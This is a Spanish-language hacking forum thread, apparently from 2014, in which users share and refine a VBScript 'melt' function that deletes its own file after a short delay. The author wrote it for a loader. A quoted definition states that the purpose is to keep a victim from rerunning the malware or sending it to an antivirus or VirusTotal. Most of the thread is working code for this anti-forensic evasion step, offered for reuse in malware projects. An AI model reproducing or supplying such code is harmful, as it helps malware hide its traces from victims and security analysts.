[VBS]Perfect Melt

Iniciado por xXSCORPIOXx, 18 Marzo 2014, 01:25 AM

0 Miembros y 1 Visitante están viendo este tema.

xXSCORPIOXx

Bueno, este Melt lo acabo de hacer para el SafeLoader 2.0, trata de no dejar ningun rastro del archivo, por eso todo se hace "On the Fly".  >:D

Código (vb) [Seleccionar]
sMelt(WScript.ScriptFullName)

Function sMelt(sFile)
    On Error Resume Next

Dim sFunction

    sFunction = "WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34)

Execute(sFunction)
End Function


//Regards.
El saber es como el alcohol, cuando ves que te duele la cabeza, es demasiado tarde.

Mad Antrax

Me viene perfecto para mi proyecto. Lo puedo usar?
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

xXSCORPIOXx

Eso ni se pregunta bro.  ;D

//Regards.
El saber es como el alcohol, cuando ves que te duele la cabeza, es demasiado tarde.

PedroDJavier

Perdona mi ignorancia  :P esto se supone que borra un archivo o como xD

Un  saludo

Mad Antrax

Cita de: PedroDJavier en 18 Marzo 2014, 15:29 PM
Perdona mi ignorancia  :P esto se supone que borra un archivo o como xD

Un  saludo

[Source] How to Melt a file in VB6
http://foro.elhacker.net/programacion_visual_basic/source_how_to_melt_a_file_in_vb6-t164724.0.html

Aquí lo explica todo, sería la función Melt para VB6:

CitarDefinición
Se llama "Melt" cuando un usuario ejecuta un archivo y este desaparece (se auto-elimina) después de ejecutarse, esta función es necesaria para evitar que nuestra víctima ejecute 2 veces nuestro malware o evitar que la victima lo envíe a un Antivirus o a virustotal después de ejecutarlo, su estructura es...

1) Ejecuto el archivo (A)
2) El archivo (A) se copia en otro lugar (B)
3) El archivo (A) ejecuta el archivo (B)
4) El archivo (B) borra el archivo (A)
5) El archivo (B) sigue ejecutando el resto de malware...
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

79137913

HOLA!!!

Por que no optimizamos el codigo un poco:

Código (vb) [Seleccionar]
    sMelt(WScript.ScriptFullName)
     
    Function sMelt(sFile)
       On Error Resume Next
       Execute("WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34))
    End Function


GRACIAS POR LEER!!!
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

79137913                          *Shadow Scouts Team*

xXSCORPIOXx

Cita de: 79137913 en 20 Marzo 2014, 17:28 PM
HOLA!!!

Por que no optimizamos el codigo un poco:

Código (vb) [Seleccionar]
    sMelt(WScript.ScriptFullName)
     
    Function sMelt(sFile)
       On Error Resume Next
       Execute("WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34))
    End Function


GRACIAS POR LEER!!!

Me gusta declarar las cosas, y mas en una funcion.

//Regards.
El saber es como el alcohol, cuando ves que te duele la cabeza, es demasiado tarde.

79137913

#7
HOLA!!!

Esta bien lo que planteas, pero planteate para que declaras sFunction, si se usa una sola vez, osea, perdes 2 lineas de codigo y reservas un espacio en memoria que no sera necesario nunca mas.

Esta bien que quieras declararla pero quiero que entiendas que no es practico, no mejora la lectura del codigo, no mejora la longitud del codigo y tampoco el rendimiento.

Es mas, no quise cambiarte la parte que dice sFile por que tampoco es necesaria, ya que siempre sera WScript.ScriptFullName... sino no seria Melt seria una funcion para eliminado con retraso desde otro script.

Por ende tu codigo si se quiere Funcionalizar (ser llamado de una funcion) si lo reducimos al maximo seria asi:
Voy a usar un sub para no entregar retorno (que tampoco entrega tu funcion).
Código (vb) [Seleccionar]
sMelt()
     
       Sub sMelt()
          On Error Resume Next
          Execute("WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & WScript.ScriptFullName & Chr(34))
       End Sub


Se podria seguir reduciendo quitando las llamadas a Chr(34) ahi si convendria usar una variable para no llamar tantas veces a una funcion con el mismo parametro, aunque tambien podrias poner las comillas dentro del string sin usar ni un Chr usando "" supongo, no lo testee aun esto ultimo de la doble comilla doble.

GRACIAS POR LEER!!!
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

79137913                          *Shadow Scouts Team*